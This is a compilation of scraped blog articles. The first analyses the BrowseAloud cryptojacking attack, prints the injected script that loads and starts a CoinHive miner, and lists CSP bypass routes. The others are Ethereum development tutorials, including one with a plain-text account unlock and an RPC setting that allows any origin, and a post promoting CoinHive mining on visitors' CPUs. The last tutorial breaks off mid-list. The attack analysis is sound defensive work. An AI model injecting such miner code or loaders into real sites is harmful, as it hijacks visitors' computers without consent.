reversed version: window["document"]["write"]("<script type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd=" + window["Math"]["random"]() + "'></script>"); window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq\', cpuConfig);miner.start();</script>'); It turns out that the ICO wasn’t the only website affected. reported to be loading the infected script directly from browsealoud.com website. More than 4000 websites This isn’t too different from the alleged attack against jQuery’s CDN that RiskIQ claims was serving the RIG exploit kit to every user of every website loading jQuery’s directly from their CDN lasting a few hours before the injection was removed. This is far too appealing to attackers that can compromise users at scale by attacking dependencies being loaded dynamically. The focus of those attacks seems to be shifting to Cryptojacking. Many examples of websites have been compromised recently. jQuery’s blog is . The attack on TextHelp is just one of the most recent ones. one example Mitigation using CSP + SRI As pointed out by Scott Helme, one way to mitigate this is to add Subresource integrity (SRI) attributes to the script elements loading the external scripts. He even suggested complementing that with using CSP’s directive to enforce the use of SRI tags. require-sri-for This is a good suggestion, but it doesn’t work very well if the dependency script needs to be updated regularly, which seems to be the case. A good compromise can be to use CSP to limit the domains where the script is being loaded from. But this is not perfect. It probably leaves room for injecting arbitrary scripts depending on what domains are whitelisted. This was brilliantly covered by Michele Spagnuolo and Lukas Weichselbaum . But basically, there are plenty of ways for this to happen. A few examples: here JSONP callback endpoints Bypasses using AngularJS and other JS frameworks — there are documented CSP bypasses that may allow an attacker to inject arbitrary JS in the page Use an open redirect on a whitelisted domain, as the path is ignored by CSP after a redirect The take away from this is that it is really hard to do whitelist-based CSP and skilled attackers will probably find bypasses. A better solution is to use CSP nonces, a base64-encoded sequence that must be unique each time your page loads and must be set as an attribute to both inline and external scripts. This way, the injected script has no way of anticipating the valid nonce and loading will fail. However, in this attack specifically, the bad guy could easily inject the whole coinhive.js file, which would get past the CSP (but not the SRI). In any case, you still need to use SRI to assure invalid scripts aren’t loaded, but again it’s not a good option if the JS lib needs frequent updates. You can always host the file yourself, but that isn’t always possible in cases where the JavaScript is dynamically generated (which is a bad practice anyway). Regarding CSP, a word of caution, as . any header-based web security control can be disarmed by a browser extension Mitigation using Real-time Monitoring of the Webpage If there’s no infallible way of being sure malicious code or markup is injected into your website, then the next best thing is to know about it and react in real-time. That’s precisely what one is able to do with Jscrambler’s technology. It monitors the Webpage DOM for any injection and reports back to a webhook on the backend. It detects any change, including 0-day threats, not just known injections. Webpage Integrity In some cases it can also remove the injection on the spot. It may not be a permanent removal at first, but it’s extremely useful because not only it prevents that execution from affecting that session, it also tells you what was injected. It is possible then to figure out how that injection was inserted in the first place and take measures to fix the situation permanently. It’s similar to CSP report interface, but it does not use CSP at all. There’s some overlapping, but you get the best protection when you use both. The advantages of Webpage Integrity’s approach is that contrary to CSP, one can be warned immediately if a script changes and starts pouring script tags into the DOM, allowing for a real-time reaction. This is definitely relevant in situations where SRI is not an option (e.g. script needs to be updated in real-time). The maliciously modified ba.js is not being served anymore from browsealoud.com, but our team replicated the attack by forcing the infected version (instead of the current one) into ICO’s website. At the same time we manually injected the Webpage Integrity Embedded Agent into ICO’s website to monitor the webpage DOM. The goal was to catch the output of the ’s landing on the ICO’s webpage DOM and mitigate the attack. ba.js document.write Not only we were able to catch the injected loading the CoinHive’s script, but also the inline script initializing the lib and kickstarting the mining. You can see this in the dashboard (see figure below) and at the same time you receive a notification on your backend upon which you can configure security policies. <script> Figure 1 — Webpage Integrity Dashboard showing one of the injections The following video is a proof-of-concept of a reconstruction of the ICO cryptojacking attack and how it would have been detected with Real-time Webpage Monitoring. Conclusions With the growing popularity (and value) of cryptocurrencies, attackers are turning to steal our computer’s cycles as a way to get cash. Cryptojacking is all over the news in the last year or so.  This TextHelp incident is just one more demonstration of how appealing this is for attackers, especially if they are able to compromise 3rd party dependencies, and target many websites in with a single blow. We are sure to see more of these attacks in the future. CSP is helpful for restricting external JavaScript from being loaded in a website, but is not meant to assure the integrity of scripts that it expects to load. SRI can lay a hand there, but it’s hard to maintain when the scripts change often. Jscrambler’s is a new approach that monitors the webpage in real-time for DOM modifications, JS poisoning attacks, JS event-hijacking and XSS — and reports back to the backend, allowing the webapp to react immediately. With it, we were able to demonstrate that we can catch the injection from TextHelp’s compromised script and would have been able to notify the ICO (or any ). Webpage Integrity other website likely to have been hit As a final note, here is a “what if” exercise: in these exploits, the attacker only cared about using the end-users’ CPU to mine crypto. However, the ability to execute arbitrary JavaScript in the webpage would allow the attacker to collect any sensitive information that the user accesses or completely modify the DOM and trick the user into giving away his credentials or perform some action not in his best interest. Client-side injections are a problem that need to be tackled as hard as one can. Originally published at blog.jscrambler.com on February 15, 2018.

ICO Case Study | Tackling Cryptojacking with Real-time Webpage Monitoring

We have seen in the of this tutorial series what a smart contract is, and how it works. Now, we will deploy it to two kinds of test networks. first part The tools we will use The most prominent tools at the moments are: Truffle: A development environment, testing framework and asset pipeline for . In other words, it helps you develop smart contracts, publish them, and test them, among other things. You can read the for more informations. Ethereum docs of the Truffle suite Ganache: It was called TestRPC before, if you have read a tutorial from a few months ago, chances are they use TestRPC with Truffle, but it was renamed upon the integration of TestRPC within the Truffle Suite. What Ganache does is simple, it creates a virtual Ethereum , and it generates some fake accounts that we will use during development. blockchain Mist: It’s a browser for decentralized web apps. It seeks to be the equivalent of Chrome or Firefox, but for Dapps. It’s still insecure and you shouldn’t use it with untrusted dapps as of yet. Ethereum wallet: It’s a version of Mist, but only opens one single dapp, the . Mist and Ethereum Wallet are just UI fronts. And we need a core that will connect us to an Ethereum blockchain(It could be the real Ethereum blockchain, or a test one). Ethereum Wallet Geth: Is the core application on your computer that will connect you to a blockchain. It can also start a new one (in our case we will create a local test blockchain), create contract, mine ether etc. We will start by using Truffle and Ganache, and then use Truffle with geth and Mist. Installations The requirements for this tutorial are that you know what is and how to use a command-line tool, and you are a bit familiar with . NPM Truffle Open up a command-line, and type the next part: npm install -g truffle If something goes wrong I advise you to read more on . Truffle’s docs Ganache Then, install Ganache’s command-line interface: npm install -g ganache-cli If you are unsure about something, here is . Ganache’s Github page N.B: There is a , but because we are such haxors, we will use the CLI. GUI for Ganache Let’s start First, create a new folder, and type the next line: truffle init It will initialize an empty truffle project. Then copy the file from the , into the folder “contracts”. Wrestling.sol last tutorial Next, open the folder “migrations” and create a new file named “2_deploy_contracts.js”. Migrations are simply scripts that’ll help us deploy our contracts to a blockchain. Paste the following code inside, and save. The first line is there to import the “Wrestling.sol” file from the “contracts” folder, and the 4th line deploys it to the blockchain. Now, back to the root folder, you’ll see two files, “truffle.js” and “truffle-config.js”. If you are on Windows, remove “truffle.js”, if you are on another system, remove one of them, or keep them both, it’s not important. The reason for that is, on Windows there is a naming problem, and when we will want to execute Truffle commands, it will open the config file “truffle.js” instead of reading what’s inside. I’m writing this tutorial on Windows, so I’ll remove the “truffle.js” file. Then I’ll put this code inside of “truffle-config.js”: It basically says, that, when using the development network, connect to the host at “127.0.0.1” (localhost), using the port 7545. Now we are ready to test our code on a blockchain! Testing our code In the first part, we will use Ganache. Fire a new command-line and type in the following command: ganache-cli -p 7545 What it does is, it tells ganache-cli to start at the port 7545. Ganache will generate test accounts for us, they have 100 ether by default, and are unlocked so we can send ether from them freely. The first account for example is the guy right here: Now, back to our first command-line interface, we execute two commands: truffle compiletruffle migrate --network development will compile our Solidity code to bytecode (the code that the Ethereum Virtual Machine (EVM) understands), in our case, Ganache emulates the EVM. Compile will deploy the code to the blockchain, in our case, the blockchain could be found in the network “development” we set earlier in the “truffle-config.js” file. Migrate Now, if everything has gone as expected, you should see this on your terminal: Notice that it shows the address of the instantiated Wrestling contract. On the commande-line interface where ganache-cli is run, you can see the transactions being executed: Notice that it shows the address of the instantiated Wrestling contract. Now type the following command to start Truffle’s console. It will help us interact with ganache’s blockchain. truffle console --network development First, we will execute this commands: account0 = web3.eth.accounts[0]account1 = web3.eth.accounts[1] It will assign the address of the first account to the variable account0, the second to the variable account1. Web3 is a JavaScript API that wraps RPC calls to help us interact with a blockchain in an easy way. Then we will write this: Wrestling.deployed().then(inst => { WrestlingInstance = inst }) It assigns a reference to the instance of the contract that truffle deployed to the variable “WrestlingInstance”. Execute the the next line: WrestlingInstance.wrestler1.call() It will return the address of the wrestler1, in our case it was the first account. Truffle, during the migration, picked up the default account from Ganache, which is the first account, because we didn’t specify during the migration, or another address in the . another account address configuration file of Truffle We will then register the second account as an opponent: WrestlingInstance.registerAsAnOpponent({from: account1}) Here, the “from” directive tells the function from which account the transaction should be fired. Upon executing the line, it should return something similar to this: Notice that the transaction used Gas, and it fired the event “WrestlingStartsEvent”. You could retrieve the address of the second wrestler by executing the following line: WrestlingInstance.wrestler2.call() Now, the players can wrestle: WrestlingInstance.wrestle({from: account0, value: web3.toWei(2, "ether")})WrestlingInstance.wrestle({from: account1, value: web3.toWei(3, "ether")}) // End of the first round WrestlingInstance.wrestle({from: account0, value: web3.toWei(5, "ether")})WrestlingInstance.wrestle({from: account1, value: web3.toWei(20, "ether")}) // End of the wrestling The “value” directive is used to send ether with a transaction. The “web3.toWei(5, “ether”)” part sends 5 ether, that value is converted to Wei is the base unit (lowest denomination) of ether. More infos could be found at this . Wei . link Upon executing the last line, the account1 will be the winner, since we put 23 ether in total with it, and it’s more than the double of what we put with the account0. A little exercise for you is to withdraw the ether from the contract. Now, it’s up to you to research how to use Truffle’s and Ganache’s advanced features. You can start by reading the , and alternatively, here is an if you felt lost or want to reinforce your knowledge on what we just saw. docs excellent introduction to Truffle How geth will fit in the picture Now, if we used Ganache for development, we would want to use something closer to a real environment, if only just to be more familiar with it. Installations Start by . On Windows, you might need to add geth’s installation folder to your PATH variable. downloading geth Download . For our use, both will be alike, so it doesn’t matter which one you pick. Mist or Ethereum Wallet Onto the creation of the local private test network In the same root folder, create a new file, and name it “genesis.json”. Then past the following content in it. The file “genesis.json” is simply the configuration file that geth needs to create a new blockchain. It’s not important to understand the content of the file for the moment. If you run geth without specifying any parameter, it will try to connect to the mainnet. The mainnet is the main network of Ethereum, the real blockchain of Ethereum. If you run Mist without specifiying any parameter, it will throw an error if an instance of geth is running. If you tell Mist to connect to the geth instance that is actually running(what we will do in a little moment) it’ll work just fine. If you run Mist while no instance of geth is running, it will start a new instance of geth, and eventually ask you from which blockchain network it should download blocks. There is a public Ethereum test network, but we will create our own private test network locally, using the “genesis.json” file we created earlier. Fire up another command-line interface and type in the following (be sure to run it in your project root folder): geth --datadir=./chaindata/ init ./genesis.json We launch geth and specify where our blockchain will be stored, here in the “chaindata” folder (it will be automatically generated), and we initialize it with our “genesis.json” configuration file. We then start geth using the following command: geth --datadir=./chaindata/ --rpc The “--rpc” parameter tells geth to accept RPC connections, it’s needed so that truffle can connect to geth. Open another command-line interface, and start Mist (or Ethereum Wallet), using the same parameters: mist –rpc http://127.0.0.1:8545 The “-rpc” tells Mist (or Ethereum Wallet) to connect to the instance of geth we started. In the Wallets tab, press Add Account and create a new wallet: Notice that we are using a private network. , you wouldn’t want to use you ether on the Mainnet for development purposes. Beware of that I will create an account using the password “123456789”. In a real environment, use a stronger password. Open up a new command-line interface and run this command: geth attach It will run the console of geth, and we can now interact with it. With out main account created on the Mist UI, we will run this command inside of “geth attach” console: miner.start() It will start a miner, the process that will confirm transactions, and after a few seconds or minutes (depending or your computer), you should start seeing ether being added to your balance (And also to your main account): Note that if you don’t have enough RAM available, it may not start mining at all. You can stop the mining using the command “miner.stop()”. Now, open the “truffle-config.js” file again, and modify it like this: The “ourTestNet” is the configuration necessary to connect to the geth instance. Geth starts by default on port 8545. In the command-line interface where we launched “geth attach”, we will unlock the account, so we can use it to migrate the Smart Contract from Truffle, using the following command: personal.unlockAccount('0x6AC4660c960Aaf5d9E86403DDAcB4791767e5869', '123456789') Here, I used the address of the account I just created, it would be a different address for you, and the password “123456789” that I’ll use for these tests. Notice that the password is shown in plain text, and you should use a with a real account. different method Now, back to the command-line interface where we previously launched Truffle, run this command: truffle migrate --network ourTestNet It will start migrating the contract to the blockchain that geth is running. Start the miner if you previously stopped it, otherwise, the migration will not be executed. If the migration was successful, you would see an output like this: Now, run the following command to start Truffle’s console: truffle console --network ourTestNet Then run these two commands: Wrestling.addressJSON.stringify(Wrestling.abi) You should have an output like this: The first line returns the address of the deployed Wresting contract instance. The second line, will return the Wresting contract . The is basically a description of the contract. It contains a list of its functions and variables among other things. ABI ABI When copying the address and the ABI, remove the apostrophes highlighted by a red arrow in the screenshot. Now, back to Mist, we will open the contracts tab, and click on watch contract. Then we will past the address and the ABI of the Wrestling contract we deployed: Click on “OK”, then it will be shown in your watched contracts list. Click on it and it will open the contract page. If you scroll down, you’ll see something like this: Use the select a function part to interact with the contract. It’s the same as we did above using Truffle’s console. And that’s it, we saw how Ganache and geth come in play. When you will want to deploy a contract to the real blockchain, you should use the second method and connect geth with the mainnet. N.B: , . Using Truffle is more interesting in a real development process though, since you’ll be able to include and import multiple other smart contracts and scripts if you use a modular approach to develop your smart contracts. You could deploy a contract directly on Mist without using Truffle migration system here is an example video of that process N.B.2: You could always write your contract code on a basic nodepad application, and deploy it to the mainnet using some ’s portal, but I advise you to not. trusted third party The repository for this tutorial can be found here: _ethereum-walkthrough-2 - Repository for the second part of the tutorial series on Ethereum, "Ethereum development…_github.com devzl/ethereum-walkthrough-2 In conclusion We have seen 4 ways of developing and deploying our Smart Contracts: The first one is to use Truffle and Ganache. Since we copied the code from the last tutorial, I want to tell you that there are . Some offer only syntax highlighting, while others help with other areas. plugins available for the most popular text editors and IDEs The second one is to deploy code from Truffle to geth (and the GUI app Mist). The third, is to use Remix to write small, simple contract when you are just learning Solidity, and deploying the code in Mist like shown in . the video previously linked Or like a real cowboy, you could use a simple text editor to write and then deploy your untested contract using a nameless third party’s drag-and-drop deployment feature. In the , we will since our “Wrestling” script is far from being ready to be launched in a real environment. next part discuss security After, that we will see Token creation, and Initial Coin Offerings (ICOs). If you liked this second part, you can find me on twitter . @dev_zl

Ethereum Development Walkthrough (Part 2: Truffle, Ganache, Geth and Mist)

This is the third part of our Ethereum Zero to Hero guide. If you have not read the previous post, I highly recommend checking it before moving forward. In this post we are going take were we left off and start developing a basic Smart Contract and learn more about solidity and how the contracts work. One of the most interesting qualities of the Ethereum blockchain is the . Tokens are digital assets that can represent anything from , to actual in the physical world. Tokens can also be used to interact with other . ability create digital tokens coins loyalty points objects smart contracts Tokens are sold and traded as a cryptocurrency inside the ethereum network and allows the user to pay for smart contract transactions fees, for our first contract we are going to create the needed to deploy on our private network. minimum viable contract A Word on ERC20 Often when dealing with Tokens, you will see the word ERC20 being referenced. is a token standard that describes the functions and events that an Ethereum token contract has to implement, by following this standard we guarantee that tokens will be instantly compatible with the ethereum wallet and any other client or contract that uses the same . ERC20 standard In order for a token to be ERC20 complaint it must implement the following: For more details on ERC20 standard view the following links: ERC20 Token Standard ERC20 Improvement Proposal (EIP) The Ethereum Wallet The Ethereum Wallet is a gateway to decentralized applications on the Ethereum blockchain. It allows you to hold and secure ether and other crypto-assets built on Ethereum, as well as write, deploy and use smart contracts. Up to this point, we have worked directly on the console, and while I highly recommend to become familiar and acquainted with in order to understand some of the inner-workings in order to move faster and work smarter, we will switch to the official Ethereum wallet: Geth Ethereum developers Geth Ethereum Make sure to and install the ethereum wallet before continuing. download Connecting the wallet to our private testnet By default the will attempt to connect to the main network, as well it will allow you to connect to one of the test networks. Ethereum Wallet For our purposes we want it to automatically start connected to our testnet, so do the following before opening the wallet: : The following operations will override any local information for the main network, this could potentially result in the loss of ether, be careful and understand the commands you are running. DISCLAIMER Stop the running geth node Run the following command geth --datadir ./TestNetData --identity "HeroNode1" --ipcpath ~/Library/Ethereum/geth.ipc --networkid 24 --maxpeers 1 console Now we can open our ethereum wallet, and it should automatically connect to the test network, what we did was restarting our Geth node, and setting the IPC (Inter-process Communication) pipe in the same place the wallet has its default, by doing so the wallet will directly establish a connecting to our Geth node instead of creating one to the main network. Make sure the wallet is displaying the name of the network as before continuing. Private-Net Minimum Viable Token As we learned in the first post of this series, contracts are programmed using the language; there are several tools available for , and solidity contracts, for the time being, we are going to use solidity contract editor that is shipped with the ethereum wallet. Solidity compiling debugging writing Here is the code for our minium viable token: Now grab the source code from above and paste it in the . The wallet will automatically check if the code and if it does, you will see a “pick a contract” dropdown on the right like so: Solidity Contract Source Code field compiles One interesting thing to notice is that there is also one constructor parameter, in this case, an initial supply of , that will be an issue on contract creation. Hero Tokens If you keep scrolling down, you’ll see an of that contract, and you can select a fee on how much ether you are willing to pay for it. Don’t forget to set the initial number of tokens we will issue, now go ahead and click the “deploy” button. estimate of the computation cost Next, you will see a confirmation dialog like the following: Once the contract has been submitted, you should see it in the latest transactions below, waiting for confirmation. Usually, it should take around 30 seconds for the contract to be confirmed but, at this point, we could wait and wait, and nothing would happen. This is because there are no other nodes in the network and no one is mining, and ethereum much like Bitcoin right now works as a network, I will not go into the details, but you can read the following article for a thorough explanation: Proof of Work Explaining blockchain — how proof of work enables trustless consensus Let’s get our contract verified by jumping into our node console and typing: miner.start() It will take about 12 transactions for the contract to be confirmed, once that is done we can stop the miner by typing: miner.stop() Looking at the latest transactions our contract should be now verified, we can confirm that by going into the “ ” tab and we should see our newly created contract. Contracts Click on it to go to its page. Click “copy address” and paste the contract address into a text editor, you will need it shortly. If you click your wallet address, there is no indication of those tokens being there, did something went wrong? Well no, Wallets only track it knows about, and we have not told our wallet to track our brand new token. tokens Tracking Tokens Go to the Contracts page Click the Watch Token Button A popup will show up, copy the address of the contract as well make sure to enter all the details Click Ok Now if you go back to your wallet you should see that is tracking tokens as the screenshot below. Congratulations! You successfully created your first token. Next Steps While we successfully created a basic token, right now is not every useful. In the next post, we will improve our HeroToken contract and add more advanced functionality. This article was originally posted on my own site .

Ethereum Zero to Hero: Developing Our First Contract

This is the second part of our Ethereum Zero to Hero guide. If you have not read part, I highly recommend it before jumping ahead. In this post, we are going to set up a basic private test-net environment for ethereum development and experimentation. Step 0: Requirements You are using MacOS You have a basic understanding of software development You know what Ethereum is and understand it is basic usage. You have a basic understanding of . MacOS Terminal usage You have installed homebrew Step 1: Setting Test-Net While we are learning the in’s and out’s of Ethereum development, we probably don’t want to test against the real production network with real ether. There are several Ethereum tests-nets out in the wild for this purpose and for example; however interacting with this networks still requires for us to acquire ethereum either by mining, or getting ether from other users. Rinkeby Morden While we will eventually work with the public test networks, for beginners like us that are just starting out, that is far from ideal, and it can be difficult to get significant amounts of ether. A better option is setting up our , that we can bend and twist; as well it will allow us to gain a deeper understanding of the inner workings of the Ethereum network. private testnet Let’s GETH Going We will need to install the geth, a go CLI client that will allow us to run a full ethereum node locally. brew tap ethereum/ethereum brew install ethereum We can verify that everything installed correctly by typing: geth version Which should give you an output similar to the following: Step 2: Genesis Block To get our on private testnet started, we are going to need a Genesis Block. Every Blockchain requires a genesis block, which is essentially the configuration file for our blockchain. The genesis block is the start of the blockchain — the first block, block 0, and the only block that does not point to a predecessor block. The protocol ensures that no other node will agree with your version of the blockchain unless they have the same genesis block, so you can make as many private testnet blockchains as you would like! Create a project directory, for example ethereum_0hero Open your preferred editor and create a file named HeroGenesis.json Copy the following contents and save the file: As you can see the file contents are in json and for the most part self-explanatory, but let’s go over the each one of the parameters quickly to clarify their purpose. : The 160-bit address to which all rewards (in Ether) collected from the successful mining of this block has been transferred. This can be anything in the Genesis Block since the value is set by the setting of the miner when a new block is created. coinbase : A scalar value equal to the reasonable output of Unix time() function at this block inception. A smaller period between the last two blocks results in an increase in the difficulty level and thus additional computation required to find the next valid block. timestamp : It defines the mining Target, which can be calculated from the previous block’s difficulty level and the timestamp. The higher the difficulty, the statistically more calculations a Miner must perform to discover a valid block. This value is used to control the Block generation time of a Blockchain, keeping the Block generation frequency within a target range. On the test network, we keep this value low to avoid waiting during tests, since the discovery of a valid Block is required to execute a transaction on the Blockchain. difficulty : A scalar value equal to the current chain-wide limit of Gas expenditure per block. High in our case to avoid being limited by this threshold during tests. gasLimit Finally, the config parameters are there to ensure that certain are available from the get go. protocol upgrades For a full explanation check this answer in stackexchange Next, we will need to initialize our chain by running the following command: geth --datadir ./TestNetData init HeroGenesis.json Setting the data directory is important since otherwise we will override the default data directory for the . real Ethereum network The output should return something similar to the following: Step 3: Running a Local Node Now that we create our initial chain we can run it by executing the following command: geth --datadir ./TestNetData --identity "HeroNode1" --rpc --rpcport "8080" --rpccorsdomain "*" --port "30303" --nodiscover --rpcapi "db,eth,net,web3" --maxpeers 0 --networkid 24 console This command does a few things: Utilizes the we previously created Genesis block It uses a custom data directory instead of the default Sets the network id to 24 to prevent us from talking from noes from the main network Disables peer discovery Disables the network by setting up the maxpeers to 0 Launches the geth console so we can interact with the blockchain/node The output should be something similar to the following: At this point, you should be up and running, and in the geth console ready to do something, but what? Well let’s switch attention to the following Warning: WARN No etherbase set and no accounts found as default We have node up and running, but it will not be much use without any accounts. Step 4: Creating an account Since we are already in the Geth console is easier to ahead and create an account directly from there, in the terminal type the following: personal.newAccount() The console will ask for a passphrase , and return a has like the following: DO NOT LOSE THIS! 0xe857331e4e3354bb72b3751cce419c8444e89e17 And let’s validate that the account exist by running: > eth.getBalance("0xe857331e4e3354bb72b3751cce419c8444e89e17") 0 Now, let’s put some ether into that account. Step 5: Let’s Geth Mining Quick recap: We have a working private network with a single node running locally We create a test account that on said private network We do not have any ether in that account, and we need to fix that Now, while we could easily issue ether to our account using the , let’s have some fun and mine Ether on our private network. Genesis block Open a new terminal tab and running the following command: get attach ./<DirectoryName>/geth.ipc This will connect our second terminal to the existing geth instance and open the console. Inside the console run the following: Javascript miner.setEtherbase("0xe857331e4e3354bb72b3751cce419c8444e89e17") miner.start() If we go back to our first terminal we should see the following happening: Let’s go back to the second terminal and stop the miner and check our balance: miner.stop() eth.getBalance('0xe857331e4e3354bb72b3751cce419c8444e89e17') 75000000000000000000 Congratulations! We have now created our private network and mined our few amount of ether, and we have a valid network that we can use to developer our and . Smart Contracts DApps In the next post of the series, we will start developing with Solidity and Smart Contracts. This article was originally posted on my own site .

Ethereum Zero to Hero: Setting a Development Environment

I always wonder if the internet will be ever free from pop ups, banner ads, redirection ads, etc. One reason I love medium is for building an ad free platform. But the problem is for small to medium sized publishers monetisation is difficult and are totally dependent on such ads. While going through HackerNews, I found a service that could help the same. helps website owners monetise through their CPU power. You get paid in Monero( A cryptocurrency). CoinHive is experiencing unusually high traffic now, it might be a bit slow. You can monetise in the following ways. CoinHive Captcha You can easily implement the captcha like service where your user’s CPU has to solve a number of hashes in order to be verified. This comes with the benefit of earning you money. Short links When you want to forward the user to another page, you can use a short link. When the user clicks on the short link, it waits until the mining is complete. You can get a demonstration by clicking . here Custom Functions You can make a custom function , for example Medium can implement this in their clapping feature. When the user claps, the user’s CPU will solve a number of hashes and the resulting money can be paid to the user directly. Start the mining process by loading the CoinHive library and using calling the start function. <script src="https://coin-hive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.User('<site-key>', 'john-doe');miner.start();</script> Later, check the balance by call the following API which takes name and secret key as arguments. url "https://api.coin-hive.com/user/balance?name=john-doe&secret=<secret-key>"# {success: true, name: "john-doe" balance: 4096} This can be even used in apps and games. Because most apps on the app store has hopeless number of advertisements. However, I feel the money earned compared to ads might be less. May be in the long term if the cryptocurrencies price rises you will hit a jackpot. Follow and me ( ) for more stories. Hacker Noon Febin John James I am also writing a book to raise awareness on the Blue Whale Challenge, which has claimed lives of many teenagers in several countries. It is intended to help parents understand the threat of the dark web and to take actions to ensure safety of their children. The book Fight The Blue Whale is available for pre-order on Amazon. The title will be released on 20th of this month.

Monetise With Your User’s CPU Power

Nothing helps understand blockchains better than building one yourself This is PART-4 of series! If you somehow landed on my publication for the first time, Welcome! I recommend you start from , and then read and before reading this post. However If you are the explorer type, read on! The Product Manager’s guide to the Blockchain part 1 part 2 part3 ( : Here’s the latest — of the series ) Update part 5 blockchain In of this series, we looked at the mechanics of Ethereum and also talked about the concept of Ethereum Accounts, Smart Contracts and — the fuel that helps all these pieces to work together. Its been a lot of reading so far, but while you can read all the blockchain content available on the internet, nothing helps understand blockchains better than building one yourself. So that’s what I did. You can simply follow this post and build a little prototype to see how everything we’ve talked about so far comes together. Part 3 Gas Alright, lets get started Here is what we will accomplish in this post, We will, But, before we start…..quick recap , but basically the Ethereum blockchain is simply lots of EVM (Ethereum Virtual Machines) or “nodes” connected to every other node to create a mesh. and competes to mine the next block or validate a transaction. Whenever a new block is added, the blockchain updates and is propagated to the entire network, such that each node is in sync. We’ve seen this before network Each node runs a copy of the entire blockchain To become a node in the Ethereum network, your computer will have to download and update a copy of the entire Ethereum blockchain. To achieve this Ethereum provides tools that you can download, connect to the Ethereum network with and then interact with it. These are: “…… .” Geth — if you have experience with web development and are interested in building frontends for dapps, you should experiment with Geth “… ” Eth — If you want added security by running two different implementations in parallel or are serious about GPU mining, then the C++ “Eth” client is for you. “ … ” Pyethapp — If you are a Python developer that wants to build decentralized apps or are interested in Ethereum for research or an academic purpose, this is a great client Each of these tools will eventually provide us access to a — a JavaScript environment that contains all of the main features that we’d need later so I am guessing no matter what tool you choose to set up your blockchain, we should eventually converge on the console. console I simply chose Geth since I have some understanding of web development. The rest of this post assumes that we are using Geth to interact with the Ethereum Network. Ethereum’s implementation is called Go Geth Geth is a command line interface (CLI) tool that communicates with the Ethereum Network and acts as the a link between your computer, its hardware and the rest of the ethereum nodes or network computers. If a block is mined by another node, your Geth program will pick it up and then pass on the new information onto your GPU or CPU to update the blockchain. With Geth, you can mine ether (ether is the cryptocurrency fueling the Ethereum network) transfer funds between addresses create smart contracts and send transactions to them explore block history and much much more Ok, Let’s install Geth Homebrew, The missing package manager for macOS I simply used Homebrew which makes installing Geth (really anything) really easy. If you have a mac but don’t have Homebrew , Here are the instructions for how to install Geth on a mac. you should install it first. Windows & Linux users: Here are the latest for you to download. And is what to do after you’ve downloaded it. stable binaries for windows and Linux here Once you have installed Geth_,_ you can technically connect to the Main or public Ethereum blockchain Network and run a full ethereum node. But we don’t want to do that just yet because If you are reading this article, chances are you have no ether (Ethereum’s cryptocurrency) — and without ether you cannot really do much on the Main blockchain. What if you have no ether to start with? I didn’t have any either, but Ethereum lets you create your own ‘ ’ blockchain network, sort of a dev/staging version of the main network. This private network is exactly like the main Ethereum chain from a functionality standpoint, except any transactions and smart contracts deployed on this network are only accessible to nodes that are connected t this private network. So that’s what we’ll do — we will create a private blockchain. private Creating a private Ethereum Blockchain Geth enables you to set up a “private” or “testnet” Ethereum blockchain. It is the best way to learn blockchain concepts that you hear and read about on the internet. You can build smart contracts, make transactions an even distributed apps — without needing real ether_._ You can actually CREATE your own fake ether, preassign ether to your account and then use it to make transactions , transfers or deploy smart contracts. Blockchain & The Genesis Block blockchain As you probably know by now, a blockchain is nothing but a digital ledger in which transactions are recorded chronologically and publicly. These transactions are recorded in blocks, and nodes in a distributed network compete to find the next valid block. Once a valid block is found, it is added to the blockchain, and this information relayed to the network. Every node then updates their blockchain to the latest copy. Every blockchain starts with a Genesis Block, the very first block in the chain, block ZERO— the only block that does not have a predecessor. To create our private blockchain then, we will create a genesis block. To do this, we will create a custom Genesis file, and ask Geth to use that genesis file to create our own genesis block , which in turn will be the start of our custom private blockchain. Here’s what a Genesis file looks like: {"config": {"chainId": 987,"homesteadBlock": 0,"eip155Block": 0,"eip158Block": 0},"difficulty": "0x400","gasLimit": "0x8000000",  //set this really high for testing"alloc": {} }} and this is what the attributes mean… the config block defines the settings for our custom chain and has certain attributes to create a private blockchain config: : identifies our blockchain, the main Ethereum chain has its own ID, but we will set it to a unique value for our private chain. - chainId : Homestead is the second major version of the Ethereum platform and is the first production release of Ethereum. It includes several protocol changes. Since we are already on homestead version, this attribute is . - homesteadBlock 0 Homestead version was released with a few backward-incompatible protocol changes, and therefore requires a hard fork. These protocol changes/improvements  proposed through a process Ethereum Improvement Proposals (EIPs). Our chain however won’t be hard-forking for these changes, so leave as - eip155Block/eip158Block: 0 - **difficulty:**This value is used to control the Block generation time of a Blockchain. The higher the difficulty, the statistically more calculations a Miner must perform to discover a valid block.On our test network, we  will keep this value low to avoid waiting during tests, since the generation of a valid Block is required to execute a transaction on the Blockchain. - **gasLimit: ** this value specifies current chain-wide limit of 'Gas' expenditure per block. Gas is Ethereum's fuel that is spent during transactions. We will mark this value high enough in our case to avoid being limited during tests. - This is where you can create your wallet and pre fill it with fake ether. For this post however, we will mine our ether locally quickly so we don’t use this option. alloc: At this point, lets go ahead and create our file . I simply used a text editor and stored it in a folder on my computer. CustomGenesis.json Next open terminal and assuming you have installed Geth, simply run this snippet geth — “yourIdentity” — /path_to_folder/CustomGenesis.json — /path_to_your_data_directory/ACPrivateChain identity init datadir This snippet instructs Geth to use the file you created as to be the first block of your custom blockchain. Then, we also specify a data directory where our private chain data will be stored. Geth will create the data directory for you. Just choose a location that is separate from the public Ethereum chain folder, if you have one CustomGenesis.json Once you run this snippet on your terminal window, you should see Geth connect to the genesis file and provide confirmation of the same my terminal window showing successful genesis state written Create a private network that will share this Blockchain Ok, so at this point we have set up the very beginning of private chain. Next, we will start our private network so we can mine new blocks that will be added to our private chain. To do this, run this command on your terminal geth -- /path_to_your_data_directory/ACPrivateChain -- 9876 datadir networkid This snippet tells geth to start our and use the directory we just specified to access our private blockchain details . private network Note that we also specified a parameter called . This marks the identity of your Ethereum network. We’ve used 9876 in this example, but You SHOULD replace it with a random number of your choice to create your own network and to prevent others from inadvertently connecting to your network networkid The Main Ethereum network has a . networkid=1 Here is a list of network ids and the corresponding networks. 0: Olympic, Ethereum public pre-release testnet : Frontier, Homestead, Metropolis, the Ethereum public main network : Classic, the (un)forked public Ethereum Classic main network, : Expanse, an alternative Ethereum implementation, : 